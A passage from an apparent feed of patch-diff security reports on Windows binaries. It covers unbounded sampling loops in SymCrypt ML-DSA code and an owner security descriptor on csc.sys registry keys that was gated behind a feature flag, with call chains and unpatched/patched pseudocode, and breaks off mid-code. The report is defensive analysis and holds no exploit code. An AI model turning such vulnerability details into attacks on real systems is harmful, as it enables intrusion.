&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High on the mechanics. The unpatched loop (back-edge &lt;code&gt;jb loc_180096BCB&lt;/code&gt; at &lt;code&gt;0x180096CAC&lt;/code&gt;, output counter &lt;code&gt;edi&lt;/code&gt; that advances only on accepted samples) and the patched iteration cap (&lt;code&gt;esi&lt;/code&gt;, &lt;code&gt;cmp esi,1E1h&lt;/code&gt;, error return &lt;code&gt;0x8008&lt;/code&gt;) are both directly present in the binaries and the patch direction is correct (unpatched unbounded, patched bounded). The same is confirmed for the second instance, &lt;code&gt;SymCryptMlDsaRejNttPoly&lt;/code&gt; (unpatched back-edges &lt;code&gt;jnb loc_180096D6E&lt;/code&gt;/&lt;code&gt;jnz loc_180096D6E&lt;/code&gt;, patched &lt;code&gt;cmp r14d,12Ah&lt;/code&gt; at &lt;code&gt;0x18009AB01&lt;/code&gt; with unconditional &lt;code&gt;inc r14d&lt;/code&gt; at &lt;code&gt;0x18009AB25&lt;/code&gt; and error return &lt;code&gt;0x8008&lt;/code&gt; at &lt;code&gt;0x18009AB45&lt;/code&gt;); see section 7a.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Second instance (&lt;code&gt;SymCryptMlDsaRejNttPoly&lt;/code&gt;):&lt;/strong&gt; Same CWE-835 pattern, Low severity. Its &lt;code&gt;rho&lt;/code&gt; seed is attacker-controlled through &lt;code&gt;BCryptImportKeyPair&lt;/code&gt; -&amp;gt; &lt;code&gt;SymCryptMlDsakeySetValue&lt;/code&gt; -&amp;gt; &lt;code&gt;SymCryptMlDsaPkDecode&lt;/code&gt; -&amp;gt; &lt;code&gt;SymCryptMlDsaExpandA&lt;/code&gt; -&amp;gt; &lt;code&gt;SymCryptMlDsaRejNttPoly&lt;/code&gt;, so the "not caller-controlled" argument used for &lt;code&gt;RejBoundedPoly&lt;/code&gt; does not apply here. The infeasibility rests instead on the impossibility of biasing the SHAKE-128 output distribution to force enough rejections to exhaust the 298-iteration budget, so real-world severity is still Low/informational.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Severity rationale:&lt;/strong&gt; The gating &lt;code&gt;eta&lt;/code&gt; value at &lt;code&gt;params+0x16&lt;/code&gt; is a compile-time constant sourced from the static tables &lt;code&gt;SymCryptMlDsaInternalParams44/65/87&lt;/code&gt; via the validated selection in &lt;code&gt;SymCryptMlDsaGetInternalParamsFromParams (sub_180096074)&lt;/code&gt;. No documented CNG/BCrypt path lets a caller supply an arbitrary &lt;code&gt;eta&lt;/code&gt;, and the valid-&lt;code&gt;eta&lt;/code&gt; loop terminates with overwhelming probability. The change is defensive hardening (CWE-835), classified Low rather than a remotely triggerable high-severity kernel DoS.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Caveat:&lt;/strong&gt; Reaching the non-terminating branch would require an out-of-band corruption of the parameters structure from a separate defect; that scenario is not demonstrated by these binaries.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>csc.sys — CSC reboot-rename registry keys could be created without an explicit owner security descriptor when a feature-staging gate was off (CWE-732), fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/csc_4fcd6e18-csc-report-20260628-220741.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/csc_4fcd6e18-csc-report-20260628-220741.html</id><summary type="html">&lt;p&gt;KB5075912&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Binaries:&lt;/strong&gt; &lt;code&gt;csc_unpatched.sys&lt;/code&gt; ↔ &lt;code&gt;csc_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Driver:&lt;/strong&gt; &lt;code&gt;csc.sys&lt;/code&gt; (Windows Offline Files / Client Side Caching)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall similarity:&lt;/strong&gt; 0.9916 (7 functions changed of 1432 matched)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff stats:&lt;/strong&gt; 1432 matched / 7 changed / 1425 identical / 0 unmatched (either direction)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch removes a WIL feature-staging gate in the registry-key-creation helper &lt;code&gt;CscRebootRenamepOpenKey (sub_1C004785C)&lt;/code&gt; so that an owner-only security descriptor naming LocalSystem as the key owner is &lt;strong&gt;always&lt;/strong&gt; attached when &lt;code&gt;ZwCreateKey&lt;/code&gt; is invoked for the reboot-rename tracking keys under &lt;code&gt;HKLM\System\CurrentControlSet\Services\CSC\Parameters&lt;/code&gt; (and its &lt;code&gt;RebootRename&lt;/code&gt; subkey). Without the patch, whether the security descriptor was attached depended on the feature-staging flag; when the flag was off, &lt;code&gt;ZwCreateKey&lt;/code&gt; was called with &lt;code&gt;SecurityDescriptor = NULL&lt;/code&gt;, so the new key's owner defaulted to the creating (SYSTEM) context and its DACL was inherited from the parent. The security descriptor built here sets &lt;strong&gt;only the owner SID&lt;/strong&gt; (no DACL is ever constructed), so the delivered change makes the key's owner explicit and deterministic. The DACL — i.e. who may read or write the key — is inherited from the parent container in both builds and is not altered by the patch. This is a delivered defense-in-depth ownership hardening; no exploitable weak-ACL primitive is demonstrable from the binaries.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Owner security descriptor on CSC Parameters registry keys gated behind a feature-staging flag (CWE-732)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low (defense-in-depth ownership hardening; no demonstrable exploitable primitive)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Incorrect Permission Assignment for Critical Resource (CWE-732), specifically owner-SID assignment on a created registry key&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;CscRebootRenamepOpenKey (sub_1C004785C)&lt;/code&gt; (registry key create/open helper)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; The unpatched helper decides whether to attach a security descriptor when creating a registry key based on the return value of &lt;code&gt;Feature_2858196282__private_IsEnabledDeviceUsage (sub_1C00088B4)&lt;/code&gt;, a WIL feature-staging (velocity/rollout) check reading &lt;code&gt;Feature_2858196282__private_featureState (data_1C003A080)&lt;/code&gt;. When that check returns false, the helper skips the SD builder (&lt;code&gt;CscRebootRenamepCreateSecurityDescriptor (sub_1C00454B0)&lt;/code&gt;) and invokes &lt;code&gt;ZwCreateKey&lt;/code&gt; with &lt;code&gt;OBJECT_ATTRIBUTES.SecurityDescriptor = NULL&lt;/code&gt;; when it returns true, the SD is attached on create. The SD produced by &lt;code&gt;CscRebootRenamepCreateSecurityDescriptor (sub_1C00454B0)&lt;/code&gt; is an &lt;strong&gt;absolute&lt;/strong&gt; descriptor that sets &lt;strong&gt;only the owner&lt;/strong&gt; to &lt;code&gt;SeLocalSystemSid&lt;/code&gt; (via &lt;code&gt;RtlCreateSecurityDescriptor&lt;/code&gt; + &lt;code&gt;RtlSetOwnerSecurityDescriptor&lt;/code&gt;); it never constructs a DACL. Because no DACL is set in either the NULL-SD path or the SD path, the created key's DACL is governed by parent-container inheritance in both cases. The only behavioral difference is whether the key's owner is set explicitly to LocalSystem or defaults to the creating context.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assessed impact:&lt;/strong&gt; Marginal. The CSC reboot-rename keys are created by the driver in the SYSTEM/kernel context, so in the NULL-SD path the default owner is already an admin-equivalent principal (SYSTEM/Administrators), and the DACL — which governs who can read/write the key — is identical (inherited from the parent) in both builds. Under &lt;code&gt;HKLM\System\CurrentControlSet\Services&lt;/code&gt;, the inherited DACL does not grant write access to non-admin principals on a default install. No non-admin write, denial-of-service, or privilege-escalation primitive is demonstrable from the binaries; the change makes key ownership explicit and deterministic rather than closing a reachable authorization gap.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patch:&lt;/strong&gt; The &lt;code&gt;Feature_2858196282__private_IsEnabledDeviceUsage (sub_1C00088B4)&lt;/code&gt; feature-staging call is removed entirely. The branch is now driven &lt;em&gt;only&lt;/em&gt; by &lt;code&gt;arg3&lt;/code&gt; (&lt;code&gt;r8b&lt;/code&gt;, the create flag). When &lt;code&gt;arg3 != 0&lt;/code&gt;, &lt;code&gt;CscRebootRenamepCreateSecurityDescriptor (sub_1C00454B0)&lt;/code&gt; is &lt;strong&gt;unconditionally&lt;/strong&gt; invoked, and &lt;code&gt;ZwCreateKey&lt;/code&gt; always receives the owner-only (LocalSystem) SD. When &lt;code&gt;arg3 == 0&lt;/code&gt;, &lt;code&gt;ZwOpenKey&lt;/code&gt; is used (no SD needed for open).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Entry point and call chain:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;CSC driver operation queues a file rename to be applied at next boot (offline-files reboot-rename tracking).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CscDclMRxRebootRenameAdd (sub_1C000C964)&lt;/code&gt; — dispatch helper.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CscRebootRenameAddEntry (sub_1C006F0F4)&lt;/code&gt; — calls &lt;code&gt;CscRebootRenamepOpenKey (sub_1C004785C)(&amp;amp;Handle, &amp;amp;path, 1, nullptr)&lt;/code&gt; with path = &lt;code&gt;\Registry\Machine\System\CurrentControlSet\Services\CSC\Parameters\RebootRename&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;(Sibling caller) &lt;code&gt;CscRebootRenamepAddToKey (sub_1C006F42C)&lt;/code&gt; — opens/creates the &lt;code&gt;RebootRename&lt;/code&gt; tracking key and writes indexed rename entries (a &lt;code&gt;LastIndexValue&lt;/code&gt; value) via &lt;code&gt;CscRebootRenamepOpenKey (sub_1C004785C)(&amp;amp;Handle, arg1, 1, &amp;amp;var_f8)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CscRebootRenamepOpenKey (sub_1C004785C)&lt;/code&gt; — key create/open helper.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Feature_2858196282__private_IsEnabledDeviceUsage (sub_1C00088B4)&lt;/code&gt; — feature-flag gate returning the state of &lt;code&gt;Feature_2858196282__private_featureState (data_1C003A080)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ZwCreateKey&lt;/code&gt; with &lt;code&gt;SecurityDescriptor = NULL&lt;/code&gt; (when flag is false) → key inherits parent ACL.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===================== UNPATCHED CscRebootRenamepOpenKey (sub_1C004785C) =====================&lt;/span&gt;
&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;CscRebootRenamepOpenKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1C004785C&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;PHANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PUNICODE_STRING&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="n"&gt;BOOLEAN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Create&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PULONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Disposition&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;OBJECT_ATTRIBUTES&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oa&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Handle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Disposition&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Disposition&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// (cosmetic side channel)&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// *** feature-staging gate ***&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_2858196282__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1C00088B4&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// Feature_2858196282__private_featureState (data_1C003A080) feature state&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Create&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;PSECURITY_DESCRIPTOR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sd&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CscRebootRenamepCreateSecurityDescriptor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1C00454B0&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;sd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;InitializeObjectAttributes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;oa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OBJ_CASE_INSENSITIVE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                       &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sd&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// SD = LocalSystem-owner&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZwCreateKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KEY_ALL_ACCESS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;oa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Disposition&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;CrsR&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;InitializeObjectAttributes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;oa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OBJ_CASE_INSENSITIVE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                       &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZwOpenKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KEY_ALL_ACCESS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;oa&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// *** NO-SD PATH (owner defaults to creating context) ***&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;InitializeObjectAttributes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;oa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OBJ_CASE_INSENSITIVE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                   &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;-- SD = NULL!&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Create&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZwCreateKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KEY_ALL_ACCESS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;oa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Disposition&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// inherits parent ACL&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZwOpenKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KEY_ALL_ACCESS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;oa&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ===================== PATCHED CscRebootRenamepOpenKey (sub_1C004785C) =======================&lt;/span&gt;
&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;CscRebootRenamepOpenKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1C004785C&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;PHANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PUNICODE_STRING&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="n"&gt;BOOLEAN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Create&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PULONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Disposition&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;OBJECT_ATTRIBUTES&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oa&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Handle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Disposition&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Disposition&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Feature-flag call REMOVED. Decision is now purely on Create.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Create&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
